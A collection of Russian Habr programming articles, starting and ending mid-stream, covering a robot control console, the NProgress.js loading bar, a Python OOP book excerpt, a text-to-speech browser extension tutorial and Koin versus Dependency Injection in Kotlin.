Для тестирования разработана консоль управления, которая показывает онлайн изображение с камеры бота и отправляет ему команды куда ехать, какие лампы включить-выключить. Софт бота принимает команды и отправляет онлайн видео на консоль управления. Текущий статус — глубокая бета. Однако пользоваться системой уже можно!
##### Видео демонстрация
##### Рекомендации
Необязательно использовать спаркфановский ардубот, есть более дешевые и лучшие варианты.
UG802 можно также заменить дешевыми аналогами (MK802, CX-01), но нужно смотреть, чтобы были доступны исходники ядра, работающие на конкретном девайсе-клоне. Иначе установка полноценного линукса будет проблематична либо вообще невозможна.
##### Ссылки
[Проект на гугол коде (исходники)](http://code.google.com/p/ratbot/)
[Linaro](http://www.linaro.org/)
PIC32-PINGUINO-MX220 на сайте [OLIMEX](https://www.olimex.com/Products/Duino/PIC32/PIC32-PINGUINO-MX220/)
Ardubot на [Sparkfun](http://www.sparkfun.com/products/10185) | https://habr.com/ru/post/176307/ | null | ru | null |
# NProgress: прогресс-бар как на YouTube и Medium
Многие заметили, что на YouTube и на Medium появился небольшой новый элемент UI — прогресс-бар в виде тонкой цветной полоски в самом верху страницы, который примостился прямо под панелью браузера.
Внимание к новому элементу привлек недавний популярный пост [New UI Pattern: Website Loading Bars](http://www.usabilitypost.com/2013/08/19/new-ui-pattern-website-loading-bars/) на [UsabilityPost](http://www.usabilitypost.com). Как выяснилось, причина использования прогресс-бара в том, что вместо загрузки новой страницы содержимое подгружается через JavaScript, и поэтому собственный индикатор браузера о загрузке страницы может не срабатывать. Чтобы у пользователя не возникало ощущения, будто страница «зависла», эту функцию переложили на плечи маленького UI-приема.
Теперь у всех желающих появилась возможность быстро сделать на своем сайте точно такой же прогресс-бар благодаря плагину **NProgress.js** [[Демо](http://ricostacruz.com/nprogress/)][[GitHub](https://github.com/rstacruz/nprogress)].
Для работы плагина потребуется подключить jQuery, nprogress.js и nprogress.css. Использовать его не сложнее — достаточно просто вызвать `start()` и `done()` — первое, что приходит на ум, это привязать их к вызовам Ajax — событиям ajaxStart и ajaxComplete:
```
NProgress.start(); // начать "загрузку"
NProgress.done(); // заставить индикатор дойти до конца и пропасть
```
Есть и продвинутые возможности:
```
NProgress.set(0.3); // установка конкретного процента
NProgress.inc(); // увеличение прогресса на случайный процент
NProgress.configure({ ease: 'ease', speed: 500 }); // конфигурация скорости загрузки и CSS easing
NProgress.configure({ trickleRate: 0.02, trickleSpeed: 800 });
```
P.S. А есть еще и [версия](http://victorbjelkholm.github.io/ngProgress/) для тех, кто предпочитает AngularJS. | https://habr.com/ru/post/190818/ | null | ru | null |
# Книга «Программируем на Python»
 Привет, Хаброжители! Вы наверняка слышали о книге Майкла Доусона (Michael Dawson), в которой он учит языку программирования Python тем же самым путем, то есть через программирование несложных игр. Учиться, создавая свои собственные развлекательные программы.
Несмотря на развлекательный характер примеров, демонстрируется вполне серьезная техника программирования. Ниже приведен отрывок из главы «Объектно-ориентированное программирование. Игра «Блек-джек»»
### Знакомство с игрой «Блек-джек»
Проект, над разработкой которого мы потрудимся в этой главе, представляет собой упрощенную версию карточной игры «Блек-джек». Игровой процесс идет так: участники получают карты, с которыми связаны определенные числовые значения — очки, и каждый участник стремится набрать 21 очко, но не больше. Количество очков, соответствующих карте с цифрой, равно ее номиналу; валет, дама и король идут за 10 очков, а туз — за 1 или 11 (в зависимости от того, как выгоднее для игрока).
Компьютер сдает карты и играет против нескольких игроков, от одного до семи. В начале каждого раунда компьютер передает каждому из участников, в том числеи себе, по две карты. Игрокам видны карты друг друга, и даже автоматически подсчитывается текущая сумма очков на руках у каждого. Впрочем, из двух карт, которые дилер сдал себе, одна до поры до времени лежит рубашкой вверх.
Затем каждому игроку по очереди предоставляется возможность тянуть дополнительные карты. Игрок может брать их из перемешанной колоды до тех пор, пока ему угодно и пока сумма очков на руках у него не превысила 21. При превышении, которое называется перебором, участник проигрывает. Если все перебрали, то компьютер выводит свою вторую карту и начинает новый раунд. Если же один или несколько участников остались в игре, то раунд еще не закончен. Дилер открывает свою вторую карту и, по общему правилу «Блек-джека», тянет дополнительные карты для себя до тех пор, пока сумма его очков не будет равна 17 или больше. Если дилер, в нашем случае — компьютер, совершает перебор, то победу одерживают все участники, оставшиеся в игре. Если нет, то сумма очков каждого из участников сравнивается с очками, которые набрал компьютер. Набравший больше очков (человек или компьютер) побеждает. При одинаковой сумме очков объявляется ничья между компьютером и одним или несколькими участниками.
Игровой процесс отражен на рис. 9.1.
### Отправка и прием сообщений
Объектно-ориентированная программа — это своего рода экологическая система, в которой объекты — живые организмы. Чтобы поддерживать биоценоз в порядке, его обитатели должны взаимодействовать; так же происходит и в ООП. Программа не может быть полезна, если объекты в ней не взаимодействуют каким-либо удачно заданным способом. В терминах ООП такое взаимодействие называется отправкой сообщений. На практике объекты всего лишь вызывают методы друг друга. Это хотя и не совсем вежливо, но, во всяком случае, лучше, чем если бы объектам пришлось напрямую обращаться к атрибутам друг друга.
### Знакомство с программой «Гибель пришельца»
Программа изображает ситуацию из компьютерной игры, в которой игрок стреляет в инопланетного агрессора. Все буквально так и происходит: игрок стреляет, а пришелец умирает (но, правда, успевает напоследок произнести несколько высокопарных слов). Это реализовано с помощью посылки сообщения от одного объекта другому. Результат работы программы отражен на рис. 9.2.
Говоря технически, программа создает hero — экземпляр класса Player и invader — экземпляр класса Alien. При вызове метода blast() объекта hero с аргументом invader этот объект вызывает метод die() объекта invader. Другими словами, когда герой стреляет в пришельца, это значит, что объект «герой» посылает объекту «пришелец» сообщение с требованием умереть. Этот обмен сообщениями показан на рис. 9.3.
Код этой программы вы можете найти на сайте-помощнике (courseptr.com/downloads) в папке Chapter 9. Файл называется alien\_blaster.py:
```
# Гибель пришельца
# Демонстрирует взаимодействие объектов
class Player(object):
""" Игрок в экшен-игре. """
def blast(self, enemy):
print("Игрок стреляет во врага.\n")
enemy.die()
class Alien(object):
""" Враждебный пришелец-инопланетянин в экшен-игре. """
def die(self):
print("Тяжело дыша, пришелец произносит: 'Ну, вот и все. Спета моя песенка. \n" \
"Уже и в глазах темнеет… Передай полутора миллионам моих личинок, что я любил их… \n" \
"Прощай, безжалостный мир.'")
# Основная часть программы
print("\t\tГибель пришельца\n")
hero = Player()
invader = Alien()
hero.blast(invader)
input("\n\nНажмите Enter, чтобы выйти.")
```
### Отправка сообщения
Прежде чем один объект сможет послать сообщение другому, надо, чтобы объектов было два! Столько их и создано в основной части моей программы: сначала объект класса Player, с которым связывается переменная hero, а потом объект класса Alien, с которым связывается переменная invader.
Интересное происходит в строке кода, следующей за этими двумя. Командой hero.blast(invader) я вызываю метод blast() объекта hero и передаю ему как аргумент объект invader. Изучив объявление blast(), вы можете увидеть, что этот метод принимает аргумент в параметр enemy. Поэтому при вызове blast() его внутренняя переменная enemy ссылается на объект класса Alien. Выведя на экран текст, метод blast() командой enemy.die() вызывает метод die() объекта Alien. Таким образом, по существу, экземпляр класса Player посылает экземпляру класса Alien сообщение, которым вызывает его метод die().
### Прием сообщения
Объект invader принимает сообщение от объекта hero закономерным образом: вызывается метод die() и пришелец умирает, сказав самому себе душераздирающее надгробное слово.
### Сочетание объектов
Обычно в жизни сложные вещи строятся из более простых. Так, гоночную автомашину можно рассматривать как единый объект, который, однако, составлен из других, более простых объектов: корпуса, двигателя, колес и т. д. Иногда встречается важный частный случай: объекты, представляющие собой наборы других объектов. Таков, например, зоопарк, который можно представить как набор животных. Эти типы отношений возможны и между программными объектами в ООП. К примеру, ничто не мешает написать класс Drag\_Racer, представляющий гоночный автомобиль; у объектов этого класса будет атрибут engine, ссылающийся на объект Race\_Engine (двигатель). Можно написать и класс Zoo, представляющий зоопарк, у объектов которого будет атрибут animals — список животных (объектов класса Animal). Сочетание объектов, как в этих примерах, позволяет строить сложные объекты из простых.
### Знакомство с программой «Карты»
В программе «Карты» объекты представляют отдельные игральные карты, которыми можно воспользоваться для любой из игр от «Блек-джека» до «Подкидного дурака» (в зависимости от того, каковы ваши вкусы и денежные активы). Далее в той же программе строится объект «рука» (Hand), представляющий набор карт одного игрока; это не что иное, как список объектов-карт. Результат работы программы показан на рис. 9.4.
Я буду разбирать код небольшими порциями, однако вы можете ознакомиться и с целой программой на сайте-помощнике ([www.courseptr.com/downloads](http://www.delmarlearning.com/companions/start.asp)) в папке Chapter 9. Файл называется playing\_cards.py.
### Создание класса Card
Первым делом в этой программе я создаю класс Card, объекты которого будут представлять игральные карты.
```
# Карты
# Демонстрирует сочетание объектов
class Card(object):
""" Одна игральная карта. """
RANKS = ["A", "2", "3", "4", "5", "6", "7", "8", "9", "10", "J", "Q", "K"]
SUITS = ["c", "d", "h", "s"]
def __init__(self, rank, suit):
self.rank = rank
self.suit = suit
def __str__(self):
rep = self.rank + self.suit
return rep
```
У каждого объекта класса Card есть атрибут rank, значение которого — достоинство карты. Атрибут класса RANKS содержит все возможные значения: туз («A»), карты с номиналами от 2 до 10, валет («J»), дама («Q») и король («K»). У каждой карты есть также атрибут suit, представляющий масть карты. Все его возможные значения содержит атрибут класса SUITS: «c» (clubs) — трефы, «d» (diamonds) — бубны, «h» (hearts) — червы и, наконец, «s» (spades) — пики.
Например, объект со значением rank, равным «A», и значением suit, равным «d», представляет бубновый туз. Значения этих двух атрибутов, соединенных в единую строку, возвращает для вывода на печать специальный метод \_\_str\_\_().
### Создание класса Hand
Следующее, что я должен сделать в программе, — создать класс Hand, экземпляры которого будут представлять наборы объектов-карт:
```
class Hand(object):
""" 'Рука': набор карт на руках у одного игрока. """
def __init__(self):
self.cards = []
def __str__(self):
if self.cards:
rep = ""
for card in self.cards:
rep += str(card) + " "
else:
rep = "<пусто>"
return rep
def clear(self):
self.cards = []
def add(self, card):
self.cards.append(card)
def give(self, card, other_hand):
self.cards.remove(card)
other_hand.add(card)
```
У нового объекта класса Hand появляется атрибут cards, представляющий собой список карт. Таким образом, атрибут единичного объекта — список, который может содержать сколь угодно много других объектов.
Специальный метод \_\_str\_\_() возвращает одной строкой всю «руку». Метод последовательно берет все объекты класса Card и соединяет их строковые представления. Если в составе объекта Hand нет ни одной карты, то будет возвращена строка <пусто>.
Метод clear() очищает список карт: атрибут «руки» cards приравнивается к пустому списку. Метод add() добавляет объект к списку cards. Метод give() удаляет объект из списка cards, принадлежащего данной «руке», и добавляет тот же объект в набор карт другого объекта класса Hand (для этого вызывается его метод add()). Иными словами, первый объект Hand посылает второму объекту Hand сообщение: добавить в атрибут cards данный объект Card.
### Применение объектов-карт
В основной части программы я создаю и вывожу на экран пять объектов класса Card:
```
# основная часть
card1 = Card(rank = "A", suit = "c")
print("Вывожу на экран объект-карту:")
print(card1)
card2 = Card(rank = "2", suit = "c")
card3 = Card(rank = "3", suit = "c")
card4 = Card(rank = "4", suit = "c")
card5 = Card(rank = "5", suit = "c")
print("\nВывожу еще четыре карты:")
print(card2)
print(card3)
print(card4)
print(card5)
```
У первого из созданных экземпляров класса Card атрибут rank равен «A», а атрибут suit — «c» (туз треф). На экране этот объект отображается в виде Ac; вид других карт аналогичен.
### Сочетание объектов-карт в объекте Hand
Теперь я создам экземпляр класса Hand, свяжу его с переменной my\_hand и выведу информацию о нем на экран:
```
my_hand = Hand()
print("\nПечатаю карты, которые у меня на руках до раздачи:")
print(my_hand)
```
Поскольку атрибут cards этого объекта пока равен пустому списку, на экране будет напечатано <пусто>.
Добавлю в my\_hand пять объектов класса Card и снова выведу объект на экран:
```
my_hand.add(card1)
my_hand.add(card2)
my_hand.add(card3)
my_hand.add(card4)
my_hand.add(card5)
print("\nПечатаю пять карт, которые появились у меня на руках:")
print(my_hand)
```
На экране отобразится текст Ac 2c 3c 4c 5c.
А сейчас я создам еще один экземпляр класса Hand под названием your\_hand. Применив к my\_hand метод give(), передам из «своей руки» в «вашу руку» две карты и затем выведу содержимое обеих «рук» на экран:
```
your_hand = Hand()
my_hand.give(card1, your_hand)
my_hand.give(card2, your_hand)
print("\nПервые две из моих карт я передал вам.")
print("Теперь у вас на руках:")
print(your_hand)
print("А у меня на руках:")
print(my_hand)
```
Как и следовало ожидать, your\_hand имеет вид Ac 2c, а my\_hand — 3c 4c 5c.
В конце программы я вызову метод clear() объекта my\_hand и напечатаю его на экране еще раз:
```
my_hand.clear()
print("\nУ меня на руках после того, как я сбросил все карты:")
print(my_hand)
input("\n\nНажмите Enter, чтобы выйти.")
```
Закономерно отображается <пусто>.
### Создание новых классов с помощью наследования
Одна из ключевых идей ООП — наследование. Благодаря ему можно основать вновь создаваемый класс на существующем, причем новый класс автоматически получит (унаследует) все методы и атрибуты старого. Это как если бы за весь тот объем работы, который ушел на создание первоначального класса, не пришлось платить!
### Расширение класса через наследование
Наследование особенно полезно тогда, когда программист хочет создать более узкую и специализированную версию готового класса. Как вы уже знаете, наследующий класс приобретает все методы и атрибуты родительского. Но ведь ничто не мешает добавить собственные методы и атрибуты для расширения функциональности объектов этого нового класса.
Вообразим, например, что ваш класс Drag\_Racer задает объект — гоночный автомобиль с методами stop() и go(). Можно на его основе создать новый класс, описывающий особый тип гоночных машин с функцией очистки ветрового стекла (на скорости до 400 км/ч о стекло будут все время биться насекомые). Этот новый класс автоматически унаследует методы stop() и go() от класса Drag\_Racer. Значит, вам останется объявить всего один новый метод для очистки ветрового стекла, и класс будет готов.
» Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/all/product/programmiruem-na-python)
» [Оглавление](http://storage.piter.com/upload/contents/978549601071/978549601071_X.pdf)
» [Отрывок](http://storage.piter.com/upload/contents/978549601071/978549601071_p.pdf)
Для Хаброжителей скидка 25% по купону — **Python** | https://habr.com/ru/post/325782/ | null | ru | null |
# Пишем расширение-читалку для Habr
Каждому разработчику однажды приходит в голову мысль написать что-то, чтобы упростить себе жизнь. Например, сократить время, проведённое за выполнением рутинных задач, или же позволить себе выполнять несколько действий одновременно.
В данной статье я хочу показать, как можно совместить утренние сборы на работу с прочтением статей на Habr. Для этого мы напишем простое расширение для браузеров на базе chromium (в частности, Chrome и Opera), которое будет зачитывать для нас вслух открытый во вкладке пост на Habr.
Расширение может быть использовано для чтения статей как на русском языке, так и на английском.
Автор туториала#### Шаг 1. Определим состав расширения
Наше расширение будет состоять из нескольких частей:
* манифест-файл **manifest.json** с описанием самого расширения, указанием его основных разрешений, прописыванием путей к иконкам, фоновым скриптам и т.д.;
* HTML-страница **popup.html** и CSS-файл **style.css** для popup-формы, на которой будет расположена панель управления воспроизведением аудио;
* фоновый JavaScript-файл **content.js**, который будет обращаться к странице с открытым постом и воспроизводить её текстовое содержимое;
* JavaScript-файл **popup.js** для popup-формы, с помощью которого фоновому скрипту будут передаваться команды пользователя, заданные через popup-форму;
* иконки расширения 3 размеров: 128x128, 48x48, 16x16 пикселей.
В итоге получаем примерно такую структуру:
Структура проекта#### Шаг 2. Подготавливаем манифест-файл
С помощью манифеста мы:
* сообщаем о том, что мы сделали за расширение;
* указываем, где хранятся его иконки;
* запрашиваем доступы к вкладкам;
* сообщаем о том, что будем выполнять фоновые скрипты;
* указываем, какой popup мы будем использовать.
Здесь также присутствует разрешение на использование localStorage, если вы захотите менять и сохранять настройки без модификации кода. [Пример расширения](https://github.com/EnjiRouz/Easy-Word-Replacer) с применением настроек есть у меня на GitHub.
Содержимое manifest.json
```
{
"manifest_version": 2,
"name": "Habr Reader",
"description": "Расширение позволяет воспроизводить текст на странице со статьей на Хабре с возможностью изменения языка и скорости воспроизведения",
"version": "1.01",
"developer": {
"name": "Enji Rouz",
"url": "https://github.com/EnjiRouz/Habr-Reader-Extension"
},
"icons": {
"16": "res/icon16.png",
"48": "res/icon48.png",
"128": "res/icon128.png"
},
"permissions": [
"storage",
"http://*/*",
"https://*/*",
"tabs",
"contextMenus"
],
"background": {
"scripts": ["js/content.js"],
"persistent": true
},
"browser_action": {
"default_icon": "res/icon128.png",
"default_popup": "popup.html",
"icon_128": "res/icon128.png"
},
"content_scripts": [{
"matches": [""],
"js": ["js/content.js"]
}],
"content\_security\_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
}
```
#### Шаг 3. Делаем popup-форму для управления воспроизведением
С помощью данной формы мы будем ненапрямую:
* запускать проигрывание синтезированной речи;
* ставить воспроизведение на паузу;
* полностью останавливать воспроизведение;
* менять скорость воспроизведения;
* менять язык речи с русского на английский, и наоборот.
Для этого нам потребуется сделать в **popup.html** несколько кнопок для управления воспроизведением, поле для ввода скорости и переключатель для языков. К странице мы привяжем файл стилей **style.css**, а также скрипт **popup.js**, который мы будем запускать после того, как форма полностью загрузится. Для этого добавим после его определения ключевое слово **defer**.
Содержимое popup.html
```
Habr Reader
* ️
* ️
* ️
* Speed
* ru-RU
* en-US
```
Содержимое style.css
```
body{
width:180px;
height:60px;
font-family: arial, serif;
font-size: 12px;
}
.tool-bar{
display: block;
width: 180px;
height: 60px;
line-height: 30px;
background-color: #242424;
}
.tool-bar ul{
list-style-type: none;
margin: 0;
padding: 0;
}
.tool-bar ul li{
display: inline-block;
margin: 0;
padding: 0;
}
button{
background: none;
color: inherit;
border: none;
padding: 0;
font: inherit;
cursor: pointer;
outline: inherit;
}
.tool-bar ul li button, label{
padding: 0 4px;
text-decoration: none;
color: #FFFFFF;
}
.tool-bar ul li button:hover{
text-decoration: underline;
}
input {
width:30px;
padding: 6px 0 4px 10px;
border: 1px solid #9e9e9e;
background: #242424;
border-radius: 4px;
color: #FFFFFF;
}
```
Итоговый вид нашей popup-формы довольно прост и лаконичен. Здесь продемонстрировано, как форма будет отображаться при нажатии на иконку расширения:
Раскрытая popup-форма расширенияКстати, необязательно каждый раз загружать расширение в браузер, чтобы посмотреть, как смотрится форма. Достаточно просто открыть HTML-файл, к которому привязан файл со стилями с помощью браузера.
Упаковку самого расширения мы рассмотрим в конце.
#### Шаг 4. Передаём управление фоновому скрипту из popup-формы
Для передачи команд фоновому скрипту и дальнейшей обработки содержимого активной вкладки нам потребуется определить события, которые будут происходить при взаимодействии с каждым активным элементом на popup-форме.
Для этого на каждое событие мы добавим обращение к активной вкладке текущего окна, в котором передадим сообщение. В нём мы укажем следующее:
* название команды, которую нужно выполнить, например, **todo: "play"**, чтобы сообщить, что мы хотим начать либо продолжить воспроизведение;
* значения переменных, которые нужны будут для выполнения этой команды, например, **newSpeed: speed.value, lang: language**, где мы передадим новое значение скорости и языка.
Содержимое popup.js
```
// определение кнопок
const playButton = document.getElementById("play-button");
const pauseButton = document.getElementById("pause-button");
const stopButton = document.getElementById("stop-button");
// определение полей ввода
const speed = document.getElementById("speed");
// назначение действий на соответствующие кнопки/поля
if(playButton)
playButton.addEventListener("click", play);
if(pauseButton)
pauseButton.addEventListener("click", pause);
if(stopButton)
stopButton.addEventListener("click", stop);
if(speed)
speed.addEventListener("input", changeSpeed);
// применение настроек на странице происходит при помощи их передачи в сообщении,
// предназначенном для background скрипта
function play(){
// определение выбранного языка воспроизведения
let language = document.querySelector('input[name="speech-language"]:checked').value;
chrome.tabs.query({active: true, currentWindow: true}, function (tabs) {
chrome.tabs.sendMessage(tabs[0].id, {todo: "play", newSpeed: speed.value, lang: language});
});
}
function pause(){
chrome.tabs.query({active: true, currentWindow: true}, function (tabs) {
chrome.tabs.sendMessage(tabs[0].id, {todo: "pause"});
});
}
function stop(){
chrome.tabs.query({active: true, currentWindow: true}, function (tabs) {
chrome.tabs.sendMessage(tabs[0].id, {todo: "stop"});
});
}
function changeSpeed(){
chrome.tabs.query({active: true, currentWindow: true}, function (tabs) {
chrome.tabs.sendMessage(tabs[0].id, {todo: "changeSpeed", newSpeed: speed.value});
});
}
```
#### Шаг 5. Пишем фоновый скрипт для синтеза речи
На самом деле, браузер уже содержит встроенные возможности для синтеза речи. Их мы и будем использовать.
Кстати, если вам хочется побаловаться с браузерным синтезом речи, вот [мой проект на GitHub](https://github.com/EnjiRouz/Text-To-Speech) и [страница для тестирования](https://enjirouz.github.io/Text-To-Speech/), которая будет работать даже со смартфона (за исключением некоторых встроенных в приложения браузеров).
Вот, что будет происходить в нашем фоновом скрипте:
1. При загрузке страницы, содержащей элемент с ID "**post-content-body**", скрипт будет рекурсивно складывать содержимое текстовых элементов внутри родительского, чтобы сформировать текст для будущего синтеза (*это гораздо проще, чем запрашивать разрешение на использование Habr API, но стоит учитывать, что однажды этот ID может поменяться*);
2. По окончании обхода элементов будет выдано сообщение о том, что пост готов к прочтению (*но вы можете вместо этого модифицировать код так, чтобы воспроизведение аудио начиналось сразу после подготовки текста*);
3. Далее ожидается действие пользователя через popup-форму. Как только фоновый скрипт получит сообщение от popup-формы с командой и/или значением переменных, то он инициализирует переменные внутри себя и запустит соответствующие функции, например, найдёт голос для нужного языка, а затем начнёт синтез речи в случае нажатия на кнопку воспроизведения.
Конечно же, символы, содержимое таблиц, ссылки и некоторое другое нестандартное текстовое наполнение будут криво обрабатываться встроенным синтезом речи, да и не всегда ударение будет верным. Но зато, в целом вышла неплохая автоматизация ^\_^
Далее вы можете модифицировать код на своё усмотрение.
Содержимое content.js
```
// создание средства синтеза речи и получение списка голосов
const synthesis = window.speechSynthesis;
const voices = synthesis.getVoices();
const utterance = new SpeechSynthesisUtterance();
// текущий символ, который синтезируется в данный момент времени
let currentCharacter;
// назначение события на момент, когда речь перестанет проигрываться
utterance.addEventListener("end", () => {
currentCharacter = null;
});
// получение символа, который синтезируется в данный момент
utterance.addEventListener("boundary", event => {
currentCharacter = event.charIndex;
});
// переменные: язык речи, скорость проигрывания аудио, воспроизводимый текст
let speechLanguage = "ru-RU";
let playerSpeed = 1;
let textToPlay = "Открой статью, а потом уже нажимай сюда";
/**
* Рекурсивно прибавляет текстовое содержимое дочерних элементов для формирования текста поста
* @param elementForSearchingIn - родительский элемент, в котором будет осуществляться поиск текстовых нодов
*/
function joinTextNodes(elementForSearchingIn) {
if (elementForSearchingIn.hasChildNodes()) {
elementForSearchingIn.childNodes.forEach(function (node) {
joinTextNodes(node)
});
} else if (elementForSearchingIn.nodeType === Text.TEXT_NODE) {
textToPlay += " " + elementForSearchingIn.textContent;
}
}
/**
* Поиск голоса для заданного языка речи
* @param lang - заданный язык речи
* @returns {null|SpeechSynthesisVoice}
*/
function findVoice(lang) {
for (let i = 0; i < voices.length; i++) {
if (voices[i].lang === lang)
return voices[i];
}
return null;
}
/**
* Проигрывание синтезированного высказывания
*/
function playTextToSpeech() {
// если проигрывание речи было поставлено на паузу - происходит продолжение проигрывания
if (synthesis.paused && synthesis.speaking)
return synthesis.resume();
if (synthesis.speaking) return;
// определение параметров синтезируемой речи
utterance.text = textToPlay;
utterance.rate = playerSpeed || 1;
utterance.lang = speechLanguage;
utterance.voice = findVoice(utterance.lang);
// проигрывание речи
synthesis.speak(utterance);
}
/**
* Установка проигрывания синтезированной речи на паузу
*/
function pauseTextToSpeech() {
if (synthesis.speaking)
synthesis.pause();
}
/**
* Остановка (прекращение) проигрывания синтезированной речи
*/
function stopTextToSpeech() {
synthesis.resume();
synthesis.cancel();
}
/**
* Изменение скорости речи в режиме реального времени
*/
function changeSpeed() {
if (synthesis.paused && synthesis.speaking) return;
if (currentCharacter === null) return;
stopTextToSpeech();
playTextToSpeech(utterance.text.substring(currentCharacter));
}
/**
* Осуществление взаимодействия pop-up формы с background скриптом при помощи отправки-получения сообщений
* в активной вкладке с передачей в них необходимых для работы параметров.
* Переданные параметры перезаписывают предыдущие настройки
*/
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
switch (request.todo) {
case "play":
playerSpeed = request.newSpeed;
speechLanguage = request.lang;
playTextToSpeech();
break;
case "changeSpeed":
playerSpeed = request.newSpeed;
changeSpeed();
break;
case "pause":
pauseTextToSpeech();
break;
case "stop":
stopTextToSpeech();
break;
}
sendResponse({
response: "Message received"
});
});
// подготовка текста поста к чтению
window.onload = function () {
let contentBody = document.getElementById("post-content-body");
if (contentBody) {
textToPlay = "";
joinTextNodes(contentBody);
alert("Текст поста готов к чтению")
}
};
```
#### Шаг 6. Упаковка и установка расширения
Я опишу упаковку и установку для Opera и Chrome. В других браузерах процесс, скорее всего, будет аналогичным, поскольку основные действия мы будем делать через стандартный раздел браузера "Расширения".
Для того, чтобы упаковать расширение, нужно проделать следующее:
* **Opera** **→** Меню**→** Расширения **→** Расширения **→ включить Режим Разработчика →** Упаковка расширения
* **Google Chrome** **→** Дополнительные инструменты **→** Расширения **→ включить Режим Разработчика →** Упаковка расширения
На выходе вы получите crx-файл расширения, который, по факту, представляет собой архив с запакованным проектом.
Расширение можно установить через раздел "Расширения" двумя путями:
* если модификация не требуется - для ряда браузеров достаточно перетащить [подготовленный crx-файл](https://github.com/EnjiRouz/Habr-Reader-Extension/releases) из папки с проектом в окно с открытым разделом расширений и нажать на "Установить";
* если была сделана модификация кода и требуется тестирование перед упаковкой(*или браузер блокирует установку*), то в окне с разделом расширений требуется нажать на "Загрузить распакованное расширение" и выбрать в диалоговом окне папку с проектом (*предварительно убедитесь, что у вас включен режим разработчика*).
#### Заключение
На этом мой небольшой туториал подошёл к концу.
Если у вас есть собственные расширения, которыми вы хотите поделиться - оставляйте в комментариях ссылки на них вместе с кратким описанием.
Кстати, мой хороший товарищ сделал на основе [моего проекта](https://github.com/EnjiRouz/Easy-Word-Replacer) расширение для того, чтобы оставлять для себя комментарии к объявлениям на Avito. Кому интересно - код и релиз вы найдёте на [его GitHub](https://github.com/Karmageddonium/AvitoCommentPoster).
Документированные исходники моего расширения и его запакованную версию можно найти [здесь](https://github.com/EnjiRouz/Habr-Reader-Extension).
Кстати, тех, кто планирует строить карьеру в IT, я буду рада видеть на своём [YouTube-канале IT DIVA](https://www.youtube.com/c/ITDIVA). Там вы сможете найти видео по тому, как оформлять GitHub, проходить собеседования, получать повышение, справляться с профессиональным выгоранием, управлять разработкой и т.д.
Спасибо за внимание! До новых встреч! | https://habr.com/ru/post/542028/ | null | ru | null |
# Koin – это Dependency Injection или Service Locator?
Введение
========
В Android-разработке для DI традиционно используют [Dagger 2](https://dagger.dev), очень мощный фреймворк с кодогенерацией. Но есть проблема: новичкам сложно его использовать. Сами принципы DI просты и понятны, но Dagger усложняет их. Можно жаловаться на поголовное падение грамотности программистов, но от этого проблема не исчезнет.
С появлением Kotlin появилась возможность писать удобные вещи, которые были бы практически невозможны с использованием Java. Одной из таких вещей стал [Koin](https://insert-koin.io), который является не DI, а Service Locator, который многими трактуется как [anti-pattern](https://blog.ploeh.dk/2010/02/03/ServiceLocatorisanAnti-Pattern/), из-за чего многие принципиально его не используют. А зря, ведь у него очень лаконичный API, упрощающий написание и поддержку кода.
В данной статье я хочу помочь новичкам разобраться с разграничением понятий Dependency Injection и Service Locator, но не с самим Koin.
Dependency Injection
====================
Прежде всего, что такое Dependency Injection? Простыми словами, это когда объект принимает зависимости извне, а не создаёт или добывает их сам. Приведу пример. Предположим, у нас есть интерфейс `Engine`, его реализация, а также класс `Car`, который зависит от `Engine`. Без использования DI это может выглядеть вот так
```
interface Engine
class DefaultEngine: Engine
class Car {
private val engine: Engine = DefaultEngine()
}
fun main() {
val car = Car()
}
```
Если переписать класс `Car` с использованием подхода DI, то может получиться вот это:
```
class Car(private val engine: Engine)
fun main() {
val car = Car(DefaultEngine())
}
```
Всё просто – класс `Car` не знает, откуда приходит реализация `Engine`, при этом заменить эту самую реализацию легко, достаточно передать её в конструктор.
Service Locator
===============
Попробуем разобраться с Service Locator. Тут тоже ничего сложного – это некий реестр, который по запросу может предоставить нужный объект. Пока я предлагаю отойти в сторону от Koin и представить некий абстрактный ServiceLocator, без деталей реализации, но с простым и понятным API.
```
object ServiceLocator {
fun register(factory: () -> T) { ... }
fun resolve(): T { ... }
}
```
У нас есть возможность добавить в наш реестр некую зависимость, а также получить эту зависимость. Вот пример использования с нашими двигателями и машинами:
```
interface Engine
class DefaultEngine: Engine
class Car {
private val engine: Engine = ServiceLocator.resolve()
}
fun main() {
ServiceLocator.register { DefaultEngine() }
val car = Car()
}
```
Это отдалённо похоже на DI, ведь класс `Car` получает зависимость извне, не зная о реализации, но у данного подхода есть проблема – мы ничего не знаем о зависимостях класса `Car`, есть ли они вообще. Можно попробовать такой подход:
```
interface ServiceLocator {
fun register(factory: () -> T)
fun resolve(): T
}
class DefaultServiceLocator: ServiceLocator { ... }
class Car(private val serviceLocator: ServiceLocator) {
private val engine = serviceLocator.resolve()
}
fun main() {
val serviceLocator = DefaultServiceLocator()
serviceLocator.register { DefaultEngine() }
val car = Car(serviceLocator)
}
```
Теперь мы знаем, что у `Car` есть зависимости, но всё ещё не знаем какие. Т.е. это не решение нашей проблемы. Но есть ещё один вариант:
```
class Car(private val engine: Engine)
fun main() {
ServiceLocator.register { DefaultEngine() }
val car = Car(ServiceLocator.resolve())
}
```
Это и есть Dependency Injection в чистом виде. С Koin это бы выглядело вот так:
```
interface Engine
class DefaultEngine: Engine
class Car(private val engine: Engine)
fun carModule() = module {
factory { DefaultEngine() }
factory { Car(get()) }
}
fun main() {
val koin = startKoin {
modules(carModule())
}.koin
val car = koin.get()
}
```
Увы, нам всё ещё необходимо обращаться к Koin для получения зависимостей, но это никоим образом не противоречит принципам Dependency Injection.
UPDATE. По просьбе [kranid](https://habr.com/ru/users/kranid/) приведу максимально простой пример на Dagger 2.
```
interface Engine
class DefaultEngine: Engine
class Car @Inject constructor(private val engine: Engine)
@Module
class AppModule {
@Provides
fun provideEngine(): Engine = DefaultEngine()
}
@Component(modules = [AppModule.class])
interface AppComponent {
fun car(): Car
}
fun main() {
// DaggerAppComponent – это класс, созданный кодогенерацией Dagger
val daggerComponent = DaggerAppComponent.create()
val car = daggerComponent.car()
}
``` | https://habr.com/ru/post/488072/ | null | ru | null |
# Улучшаем производительность HTML5 canvas
